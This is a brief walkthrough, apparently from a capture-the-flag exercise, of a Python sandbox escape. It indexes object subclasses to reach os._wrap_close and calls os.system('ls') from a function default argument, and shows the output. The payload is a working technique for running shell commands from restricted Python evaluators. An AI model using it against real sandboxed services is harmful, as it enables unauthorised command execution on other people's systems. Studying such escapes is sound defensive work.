Python Tricks

Via os._wrap_close

Find index.

def fun(a,b,c=print([].__class__.__base__.__subclasses__())):
  c = a+b
  return c

Result:

[<class 'bytearray'>, 
<class 'dict_values'>, 
<class 'bytearray_iterator'>, 
<class '_weakrefset.WeakSet'>, 
<class 'classmethod'>, 
<class 'contextlib._RedirectStream'>, 
<class 'dict_valueiterator'>, 
<class '_frozen_importlib_external.FileLoader'>, 
<class 'NotImplementedType'>, 
<class 'formatteriterator'>, 
<class '_thread.lock'>, 
<class '_frozen_importlib_external._NamespacePath'>, 
<class 'importlib.abc.Loader'>, 
<class 'operator.methodcaller'>, <class 'os._wrap_close'>,

...

]

Index at 14.

Call system function.

def fun(a,b,c=print([].__class__.__base__.__subclasses__()[14].__init__.__globals__['system']('ls'))):
  c = a+b
  return c

Result:

GuessTheString GuessTheString.i64

Finish.

 

Advertisements